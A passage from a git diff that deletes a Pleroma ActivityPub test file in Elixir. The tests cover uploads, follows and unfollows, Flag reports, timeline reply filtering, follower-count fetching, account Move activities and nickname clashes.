clear_config([Pleroma.Upload, :default_description]) - - Pleroma.Config.put([Pleroma.Upload, :default_description], nil) - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "" - - Pleroma.Config.put([Pleroma.Upload, :default_description], :filename) - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "an_image.jpg" - - Pleroma.Config.put([Pleroma.Upload, :default_description], "unnamed attachment") - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "unnamed attachment" - end - - test "copies the file to the configured folder", %{test_file: file} do - clear_config([Pleroma.Upload, :default_description], :filename) - {:ok, %Object{} = object} = ActivityPub.upload(file) - assert object.data["name"] == "an_image.jpg" - end - - test "works with base64 encoded images" do - file = %{ - img: data_uri() - } - - {:ok, %Object{}} = ActivityPub.upload(file) - end - end - - describe "fetch the latest Follow" do - test "fetches the latest Follow activity" do - %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) - follower = Repo.get_by(User, ap_id: activity.data["actor"]) - followed = Repo.get_by(User, ap_id: activity.data["object"]) - - assert activity == Utils.fetch_latest_follow(follower, followed) - end - end - - describe "unfollowing" do - test "it reverts unfollow activity" do - follower = insert(:user) - followed = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do - assert {:error, :reverted} = ActivityPub.unfollow(follower, followed) - end - - activity = Activity.get_by_id(follow_activity.id) - assert activity.data["type"] == "Follow" - assert activity.data["actor"] == follower.ap_id - - assert activity.data["object"] == followed.ap_id - end - - test "creates an undo activity for the last follow" do - follower = insert(:user) - followed = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - {:ok, activity} = ActivityPub.unfollow(follower, followed) - - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == follower.ap_id - - embedded_object = activity.data["object"] - assert is_map(embedded_object) - assert embedded_object["type"] == "Follow" - assert embedded_object["object"] == followed.ap_id - assert embedded_object["id"] == follow_activity.data["id"] - end - - test "creates an undo activity for a pending follow request" do - follower = insert(:user) - followed = insert(:user, %{locked: true}) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - {:ok, activity} = ActivityPub.unfollow(follower, followed) - - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == follower.ap_id - - embedded_object = activity.data["object"] - assert is_map(embedded_object) - assert embedded_object["type"] == "Follow" - assert embedded_object["object"] == followed.ap_id - assert embedded_object["id"] == follow_activity.data["id"] - end - end - - describe "timeline post-processing" do - test "it filters broken threads" do - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - - {:ok, user1} = User.follow(user1, user3) - assert User.following?(user1, user3) - - {:ok, user2} = User.follow(user2, user3) - assert User.following?(user2, user3) - - {:ok, user3} = User.follow(user3, user2) - assert User.following?(user3, user2) - - {:ok, public_activity} = CommonAPI.post(user3, %{status: "hi 1"}) - - {:ok, private_activity_1} = CommonAPI.post(user3, %{status: "hi 2", visibility: "private"}) - - {:ok, private_activity_2} = - CommonAPI.post(user2, %{ - status: "hi 3", - visibility: "private", - in_reply_to_status_id: private_activity_1.id - }) - - {:ok, private_activity_3} = - CommonAPI.post(user3, %{ - status: "hi 4", - visibility: "private", - in_reply_to_status_id: private_activity_2.id - }) - - activities = - ActivityPub.fetch_activities([user1.ap_id | User.following(user1)]) - |> Enum.map(fn a -> a.id end) - - private_activity_1 = Activity.get_by_ap_id_with_object(private_activity_1.data["id"]) - - assert [public_activity.id, private_activity_1.id, private_activity_3.id] == activities - - assert length(activities) == 3 - - activities = - ActivityPub.fetch_activities([user1.ap_id | User.following(user1)], %{user: user1}) - |> Enum.map(fn a -> a.id end) - - assert [public_activity.id, private_activity_1.id] == activities - assert length(activities) == 2 - end - end - - describe "flag/1" do - setup do - reporter = insert(:user) - target_account = insert(:user) - content = "foobar" - {:ok, activity} = CommonAPI.post(target_account, %{status: content}) - context = Utils.generate_context_id() - - reporter_ap_id = reporter.ap_id - target_ap_id = target_account.ap_id - activity_ap_id = activity.data["id"] - - activity_with_object = Activity.get_by_ap_id_with_object(activity_ap_id) - - {:ok, - %{ - reporter: reporter, - context: context, - target_account: target_account, - reported_activity: activity, - content: content, - activity_ap_id: activity_ap_id, - activity_with_object: activity_with_object, - reporter_ap_id: reporter_ap_id, - target_ap_id: target_ap_id - }} - end - - test "it can create a Flag activity", - %{ - reporter: reporter, - context: context, - target_account: target_account, - reported_activity: reported_activity, - content: content, - activity_ap_id: activity_ap_id, - activity_with_object: activity_with_object, - reporter_ap_id: reporter_ap_id, - target_ap_id: target_ap_id - } do - assert {:ok, activity} = - ActivityPub.flag(%{ - actor: reporter, - context: context, - account: target_account, - statuses: [reported_activity], - content: content - }) - - note_obj = %{ - "type" => "Note", - "id" => activity_ap_id, - "content" => content, - "published" => activity_with_object.object.data["published"], - "actor" => - AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) - } - - assert %Activity{ - actor: ^reporter_ap_id, - data: %{ - "type" => "Flag", - "content" => ^content, - "context" => ^context, - "object" => [^target_ap_id, ^note_obj] - } - } = activity - end - - test_with_mock "strips status data from Flag, before federating it", - %{ - reporter: reporter, - context: context, - target_account: target_account, - reported_activity: reported_activity, - content: content - }, - Utils, - [:passthrough], - [] do - {:ok, activity} = - ActivityPub.flag(%{ - actor: reporter, - context: context, - account: target_account, - statuses: [reported_activity], - content: content - }) - - new_data = - put_in(activity.data, ["object"], [target_account.ap_id, reported_activity.data["id"]]) - - assert_called(Utils.maybe_federate(%{activity | data: new_data})) - end - end - - test "fetch_activities/2 returns activities addressed to a list " do - user = insert(:user) - member = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - {:ok, list} = Pleroma.List.follow(list, member) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - activity = Repo.preload(activity, :bookmark) - activity = %Activity{activity | thread_muted?: !!activity.thread_muted?} - - assert ActivityPub.fetch_activities([], %{user: user}) == [activity] - end - - def data_uri do - File.read!("test/fixtures/avatar_data_uri") - end - - describe "fetch_activities_bounded" do - test "fetches private posts for followed users" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "thought I looked cute might delete later :3", - visibility: "private" - }) - - [result] = ActivityPub.fetch_activities_bounded([user.follower_address], []) - assert result.id == activity.id - end - - test "fetches only public posts for other users" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe", visibility: "public"}) - - {:ok, _private_activity} = - CommonAPI.post(user, %{ - status: "why is tenshi eating a corndog so cute?", - visibility: "private" - }) - - [result] = ActivityPub.fetch_activities_bounded([], [user.follower_address]) - assert result.id == activity.id - end - end - - describe "fetch_follow_information_for_user" do - test "syncronizes following/followers counters" do - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/fuser2/followers", - following_address: "http://localhost:4001/users/fuser2/following" - ) - - {:ok, info} = ActivityPub.fetch_follow_information_for_user(user) - assert info.follower_count == 527 - assert info.following_count == 267 - end - - test "detects hidden followers" do - mock(fn env -> - case env.url do - "http://localhost:4001/users/masto_closed/followers?page=1" -> - %Tesla.Env{status: 403, body: ""} - - _ -> - apply(HttpRequestMock, :request, [env]) - end - end) - - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - assert follow_info.hide_followers == true - assert follow_info.hide_follows == false - end - - test "detects hidden follows" do - mock(fn env -> - case env.url do - "http://localhost:4001/users/masto_closed/following?page=1" -> - %Tesla.Env{status: 403, body: ""} - - _ -> - apply(HttpRequestMock, :request, [env]) - end - end) - - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - assert follow_info.hide_followers == false - assert follow_info.hide_follows == true - end - - test "detects hidden follows/followers for friendica" do - user = - insert(:user, - local: false, - follower_address: "http://localhost:8080/followers/fuser3", - following_address: "http://localhost:8080/following/fuser3" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - assert follow_info.hide_followers == true - assert follow_info.follower_count == 296 - assert follow_info.following_count == 32 - assert follow_info.hide_follows == true - end - - test "doesn't crash when follower and following counters are hidden" do - mock(fn env -> - case env.url do - "http://localhost:4001/users/masto_hidden_counters/following" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/followers" - }) - - "http://localhost:4001/users/masto_hidden_counters/following?page=1" -> - %Tesla.Env{status: 403, body: ""} - - "http://localhost:4001/users/masto_hidden_counters/followers" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/following" - }) - - "http://localhost:4001/users/masto_hidden_counters/followers?page=1" -> - %Tesla.Env{status: 403, body: ""} - end - end) - - user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_hidden_counters/followers", - following_address: "http://localhost:4001/users/masto_hidden_counters/following" - ) - - {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) - - assert follow_info.hide_followers == true - assert follow_info.follower_count == 0 - assert follow_info.hide_follows == true - assert follow_info.following_count == 0 - end - end - - describe "fetch_favourites/3" do - test "returns a favourite activities sorted by adds to favorite" do - user = insert(:user) - other_user = insert(:user) - user1 = insert(:user) - user2 = insert(:user) - {:ok, a1} = CommonAPI.post(user1, %{status: "bla"}) - {:ok, _a2} = CommonAPI.post(user2, %{status: "traps are happy"}) - {:ok, a3} = CommonAPI.post(user2, %{status: "Trees Are "}) - {:ok, a4} = CommonAPI.post(user2, %{status: "Agent Smith "}) - {:ok, a5} = CommonAPI.post(user1, %{status: "Red or Blue "}) - - {:ok, _} = CommonAPI.favorite(user, a4.id) - {:ok, _} = CommonAPI.favorite(other_user, a3.id) - {:ok, _} = CommonAPI.favorite(user, a3.id) - {:ok, _} = CommonAPI.favorite(other_user, a5.id) - {:ok, _} = CommonAPI.favorite(user, a5.id) - {:ok, _} = CommonAPI.favorite(other_user, a4.id) - {:ok, _} = CommonAPI.favorite(user, a1.id) - {:ok, _} = CommonAPI.favorite(other_user, a1.id) - result = ActivityPub.fetch_favourites(user) - - assert Enum.map(result, & &1.id) == [a1.id, a5.id, a3.id, a4.id] - - result = ActivityPub.fetch_favourites(user, %{limit: 2}) - assert Enum.map(result, & &1.id) == [a1.id, a5.id] - end - end - - describe "Move activity" do - test "create" do - %{ap_id: old_ap_id} = old_user = insert(:user) - %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) - follower = insert(:user) - follower_move_opted_out = insert(:user, allow_following_move: false) - - User.follow(follower, old_user) - User.follow(follower_move_opted_out, old_user) - - assert User.following?(follower, old_user) - assert User.following?(follower_move_opted_out, old_user) - - assert {:ok, activity} = ActivityPub.move(old_user, new_user) - - assert %Activity{ - actor: ^old_ap_id, - data: %{ - "actor" => ^old_ap_id, - "object" => ^old_ap_id, - "target" => ^new_ap_id, - "type" => "Move" - }, - local: true - } = activity - - params = %{ - "op" => "move_following", - "origin_id" => old_user.id, - "target_id" => new_user.id - } - - assert_enqueued(worker: Pleroma.Workers.BackgroundWorker, args: params) - - Pleroma.Workers.BackgroundWorker.perform(%Oban.Job{args: params}) - - refute User.following?(follower, old_user) - assert User.following?(follower, new_user) - - assert User.following?(follower_move_opted_out, old_user) - refute User.following?(follower_move_opted_out, new_user) - - activity = %Activity{activity | object: nil} - - assert [%Notification{activity: ^activity}] = Notification.for_user(follower) - - assert [%Notification{activity: ^activity}] = Notification.for_user(follower_move_opted_out) - end - - test "old user must be in the new user's `also_known_as` list" do - old_user = insert(:user) - new_user = insert(:user) - - assert {:error, "Target account must have the origin in `alsoKnownAs`"} = - ActivityPub.move(old_user, new_user) - end - end - - test "doesn't retrieve replies activities with exclude_replies" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) - - {:ok, _reply} = CommonAPI.post(user, %{status: "yeah", in_reply_to_status_id: activity.id}) - - [result] = ActivityPub.fetch_public_activities(%{exclude_replies: true}) - - assert result.id == activity.id - - assert length(ActivityPub.fetch_public_activities()) == 2 - end - - describe "replies filtering with public messages" do - setup :public_messages - - test "public timeline", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_filtering_user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert length(activities_ids) == 16 - end - - test "public timeline with reply_visibility `following`", %{ - users: %{u1: user}, - u1: u1, - u2: u2, - u3: u3, - u4: u4, - activities: activities - } do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert length(activities_ids) == 14 - - visible_ids = - Map.values(u1) ++ Map.values(u2) ++ Map.values(u4) ++ Map.values(activities) ++ [u3[:r1]] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "public timeline with reply_visibility `self`", %{ - users: %{u1: user}, - u1: u1, - u2: u2, - u3: u3, - u4: u4, - activities: activities - } do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert length(activities_ids) == 10 - visible_ids = Map.values(u1) ++ [u2[:r1], u3[:r1], u4[:r1]] ++ Map.values(activities) - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "home timeline", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 13 - - visible_ids = - Map.values(u1) ++ - Map.values(u3) ++ - [ - activities[:a1], - activities[:a2], - activities[:a4], - u2[:r1], - u2[:r3], - u4[:r1], - u4[:r2] - ] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "home timeline with reply_visibility `following`", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 11 - - visible_ids = - Map.values(u1) ++ - [ - activities[:a1], - activities[:a2], - activities[:a4], - u2[:r1], - u2[:r3], - u3[:r1], - u4[:r1], - u4[:r2] - ] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "home timeline with reply_visibility `self`", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 9 - - visible_ids = - Map.values(u1) ++ - [ - activities[:a1], - activities[:a2], - activities[:a4], - u2[:r1], - u3[:r1], - u4[:r1] - ] - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - - test "filtering out announces where the user is the actor of the announced message" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - User.follow(user, other_user) - - {:ok, post} = CommonAPI.post(user, %{status: "yo"}) - {:ok, other_post} = CommonAPI.post(third_user, %{status: "yo"}) - {:ok, _announce} = CommonAPI.repeat(post.id, other_user) - {:ok, _announce} = CommonAPI.repeat(post.id, third_user) - {:ok, announce} = CommonAPI.repeat(other_post.id, other_user) - - params = %{ - type: ["Announce"] - } - - results = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - assert length(results) == 3 - - params = %{ - type: ["Announce"], - announce_filtering_user: user - } - - [result] = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - assert result.id == announce.id - end - end - - describe "replies filtering with private messages" do - setup :private_messages - - test "public timeline", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert activities_ids == [] - end - - test "public timeline with default reply_visibility `following`", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - |> Map.put(:user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert activities_ids == [] - end - - test "public timeline with default reply_visibility `self`", %{users: %{u1: user}} do - activities_ids = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:local_only, false) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - |> Map.put(:user, user) - |> ActivityPub.fetch_public_activities() - |> Enum.map(& &1.id) - - assert activities_ids == [] - - activities_ids = - %{} - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, nil) - |> ActivityPub.fetch_public_activities() - - assert activities_ids == [] - end - - test "home timeline", %{users: %{u1: user}} do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 12 - end - - test "home timeline with default reply_visibility `following`", %{users: %{u1: user}} do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 12 - end - - test "home timeline with default reply_visibility `self`", %{ - users: %{u1: user}, - activities: activities, - u1: u1, - u2: u2, - u3: u3, - u4: u4 - } do - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:user, user) - |> Map.put(:reply_visibility, "self") - |> Map.put(:reply_filtering_user, user) - - activities_ids = - ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) - |> Enum.map(& &1.id) - - assert length(activities_ids) == 10 - - visible_ids = - Map.values(u1) ++ Map.values(u4) ++ [u2[:r1], u3[:r1]] ++ Map.values(activities) - - assert Enum.all?(visible_ids, &(&1 in activities_ids)) - end - end - - defp public_messages(_) do - [u1, u2, u3, u4] = insert_list(4, :user) - {:ok, u1} = User.follow(u1, u2) - {:ok, u2} = User.follow(u2, u1) - {:ok, u1} = User.follow(u1, u4) - {:ok, u4} = User.follow(u4, u1) - - {:ok, u2} = User.follow(u2, u3) - {:ok, u3} = User.follow(u3, u2) - - {:ok, a1} = CommonAPI.post(u1, %{status: "Status"}) - - {:ok, r1_1} = - CommonAPI.post(u2, %{ - status: "@#{u1.nickname} reply from u2 to u1", - in_reply_to_status_id: a1.id - }) - - {:ok, r1_2} = - CommonAPI.post(u3, %{ - status: "@#{u1.nickname} reply from u3 to u1", - in_reply_to_status_id: a1.id - }) - - {:ok, r1_3} = - CommonAPI.post(u4, %{ - status: "@#{u1.nickname} reply from u4 to u1", - in_reply_to_status_id: a1.id - }) - - {:ok, a2} = CommonAPI.post(u2, %{status: "Status"}) - - {:ok, r2_1} = - CommonAPI.post(u1, %{ - status: "@#{u2.nickname} reply from u1 to u2", - in_reply_to_status_id: a2.id - }) - - {:ok, r2_2} = - CommonAPI.post(u3, %{ - status: "@#{u2.nickname} reply from u3 to u2", - in_reply_to_status_id: a2.id - }) - - {:ok, r2_3} = - CommonAPI.post(u4, %{ - status: "@#{u2.nickname} reply from u4 to u2", - in_reply_to_status_id: a2.id - }) - - {:ok, a3} = CommonAPI.post(u3, %{status: "Status"}) - - {:ok, r3_1} = - CommonAPI.post(u1, %{ - status: "@#{u3.nickname} reply from u1 to u3", - in_reply_to_status_id: a3.id - }) - - {:ok, r3_2} = - CommonAPI.post(u2, %{ - status: "@#{u3.nickname} reply from u2 to u3", - in_reply_to_status_id: a3.id - }) - - {:ok, r3_3} = - CommonAPI.post(u4, %{ - status: "@#{u3.nickname} reply from u4 to u3", - in_reply_to_status_id: a3.id - }) - - {:ok, a4} = CommonAPI.post(u4, %{status: "Status"}) - - {:ok, r4_1} = - CommonAPI.post(u1, %{ - status: "@#{u4.nickname} reply from u1 to u4", - in_reply_to_status_id: a4.id - }) - - {:ok, r4_2} = - CommonAPI.post(u2, %{ - status: "@#{u4.nickname} reply from u2 to u4", - in_reply_to_status_id: a4.id - }) - - {:ok, r4_3} = - CommonAPI.post(u3, %{ - status: "@#{u4.nickname} reply from u3 to u4", - in_reply_to_status_id: a4.id - }) - - {:ok, - users: %{u1: u1, u2: u2, u3: u3, u4: u4}, - activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, - u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, - u2: %{r1: r2_1.id, r2: r2_2.id, r3: r2_3.id}, - u3: %{r1: r3_1.id, r2: r3_2.id, r3: r3_3.id}, - u4: %{r1: r4_1.id, r2: r4_2.id, r3: r4_3.id}} - end - - defp private_messages(_) do - [u1, u2, u3, u4] = insert_list(4, :user) - {:ok, u1} = User.follow(u1, u2) - {:ok, u2} = User.follow(u2, u1) - {:ok, u1} = User.follow(u1, u3) - {:ok, u3} = User.follow(u3, u1) - {:ok, u1} = User.follow(u1, u4) - {:ok, u4} = User.follow(u4, u1) - - {:ok, u2} = User.follow(u2, u3) - {:ok, u3} = User.follow(u3, u2) - - {:ok, a1} = CommonAPI.post(u1, %{status: "Status", visibility: "private"}) - - {:ok, r1_1} = - CommonAPI.post(u2, %{ - status: "@#{u1.nickname} reply from u2 to u1", - in_reply_to_status_id: a1.id, - visibility: "private" - }) - - {:ok, r1_2} = - CommonAPI.post(u3, %{ - status: "@#{u1.nickname} reply from u3 to u1", - in_reply_to_status_id: a1.id, - visibility: "private" - }) - - {:ok, r1_3} = - CommonAPI.post(u4, %{ - status: "@#{u1.nickname} reply from u4 to u1", - in_reply_to_status_id: a1.id, - visibility: "private" - }) - - {:ok, a2} = CommonAPI.post(u2, %{status: "Status", visibility: "private"}) - - {:ok, r2_1} = - CommonAPI.post(u1, %{ - status: "@#{u2.nickname} reply from u1 to u2", - in_reply_to_status_id: a2.id, - visibility: "private" - }) - - {:ok, r2_2} = - CommonAPI.post(u3, %{ - status: "@#{u2.nickname} reply from u3 to u2", - in_reply_to_status_id: a2.id, - visibility: "private" - }) - - {:ok, a3} = CommonAPI.post(u3, %{status: "Status", visibility: "private"}) - - {:ok, r3_1} = - CommonAPI.post(u1, %{ - status: "@#{u3.nickname} reply from u1 to u3", - in_reply_to_status_id: a3.id, - visibility: "private" - }) - - {:ok, r3_2} = - CommonAPI.post(u2, %{ - status: "@#{u3.nickname} reply from u2 to u3", - in_reply_to_status_id: a3.id, - visibility: "private" - }) - - {:ok, a4} = CommonAPI.post(u4, %{status: "Status", visibility: "private"}) - - {:ok, r4_1} = - CommonAPI.post(u1, %{ - status: "@#{u4.nickname} reply from u1 to u4", - in_reply_to_status_id: a4.id, - visibility: "private" - }) - - {:ok, - users: %{u1: u1, u2: u2, u3: u3, u4: u4}, - activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, - u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, - u2: %{r1: r2_1.id, r2: r2_2.id}, - u3: %{r1: r3_1.id, r2: r3_2.id}, - u4: %{r1: r4_1.id}} - end - - describe "maybe_update_follow_information/1" do - setup do - clear_config([:instance, :external_user_synchronization], true) - - user = %{ - local: false, - ap_id: "https://gensokyo.2hu/users/raymoo", - following_address: "https://gensokyo.2hu/users/following", - follower_address: "https://gensokyo.2hu/users/followers", - type: "Person" - } - - %{user: user} - end - - test "logs an error when it can't fetch the info", %{user: user} do - assert capture_log(fn -> - ActivityPub.maybe_update_follow_information(user) - end) =~ "Follower/Following counter update for #{user.ap_id} failed" - end - - test "just returns the input if the user type is Application", %{ - user: user - } do - user = - user - |> Map.put(:type, "Application") - - refute capture_log(fn -> - assert ^user = ActivityPub.maybe_update_follow_information(user) - end) =~ "Follower/Following counter update for #{user.ap_id} failed" - end - - test "it just returns the input if the user has no following/follower addresses", %{ - user: user - } do - user = - user - |> Map.put(:following_address, nil) - |> Map.put(:follower_address, nil) - - refute capture_log(fn -> - assert ^user = ActivityPub.maybe_update_follow_information(user) - end) =~ "Follower/Following counter update for #{user.ap_id} failed" - end - end - - describe "global activity expiration" do - test "creates an activity expiration for local Create activities" do - clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) - - {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) - {:ok, follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id}, - scheduled_at: - activity.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> Timex.shift(days: 365) - ) - - refute_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: follow.id} - ) - end - end - - describe "handling of clashing nicknames" do - test "renames an existing user with a clashing nickname and a different ap id" do - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/harinezumigari" - ) - - %{ - nickname: orig_user.nickname, - ap_id: orig_user.ap_id <> "part_2" - } - |> ActivityPub.maybe_handle_clashing_nickname() - - user = User.get_by_id(orig_user.id) - - assert user.nickname == "#{orig_user.id}.admin@mastodon.example.org" - end - - test "does nothing with a clashing nickname and the same ap id" do - orig_user = - insert( - :user, - local: false, - nickname: "admin@mastodon.example.org", - ap_id: "http://mastodon.example.org/users/harinezumigari" - ) - - %{ - nickname: orig_user.nickname, - ap_id: orig_user.ap_id - } - |> ActivityPub.maybe_handle_clashing_nickname() - - user = User.get_by_id(orig_user.id) - - assert user.nickname == orig_user.nickname - end - end - - describe "reply filtering" do - test "`following` still contains announcements by friends" do - user = insert(:user) - followed = insert(:user) - not_followed = insert(:user) - - User.follow(user, followed) - - {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) - - {:ok, not_followed_to_followed} = - CommonAPI.post(not_followed, %{ - status: "Also hello", - in_reply_to_status_id: followed_post.id - }) - - {:ok, retoot} = CommonAPI.repeat(not_followed_to_followed.id, followed) - - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_filtering_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:announce_filtering_user, user) - |> Map.put(:user, user) - - activities = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - followed_post_id = followed_post.id - retoot_id = retoot.id - - assert [%{id: ^followed_post_id}, %{id: ^retoot_id}] = activities - - assert length(activities) == 2 - end - - # This test is skipped because, while this is the desired behavior, - # there seems to be no good way to achieve it with the method that - # we currently use for detecting to who a reply is directed. - # This is a TODO and should be fixed by a later rewrite of the code - # in question. - @tag skip: true - test "`following` still contains self-replies by friends" do - user = insert(:user) - followed = insert(:user) - not_followed = insert(:user) - - User.follow(user, followed) - - {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) - {:ok, not_followed_post} = CommonAPI.post(not_followed, %{status: "Also hello"}) - - {:ok, _followed_to_not_followed} = - CommonAPI.post(followed, %{status: "sup", in_reply_to_status_id: not_followed_post.id}) - - {:ok, _followed_self_reply} = - CommonAPI.post(followed, %{status: "Also cofe", in_reply_to_status_id: followed_post.id}) - - params = - %{} - |> Map.put(:type, ["Create", "Announce"]) - |> Map.put(:blocking_user, user) - |> Map.put(:muting_user, user) - |> Map.put(:reply_filtering_user, user) - |> Map.put(:reply_visibility, "following") - |> Map.put(:announce_filtering_user, user) - |> Map.put(:user, user) - - activities = - [user.ap_id | User.following(user)] - |> ActivityPub.fetch_activities(params) - - assert length(activities) == 2 - end - end -end diff --git a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs b/test/web/activity_pub/mrf/activity_expiration_policy_test.exs deleted file mode 100644 index e7370d4ef..000000000 --- a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs +++ /dev/null @@ -1,84 +0,0 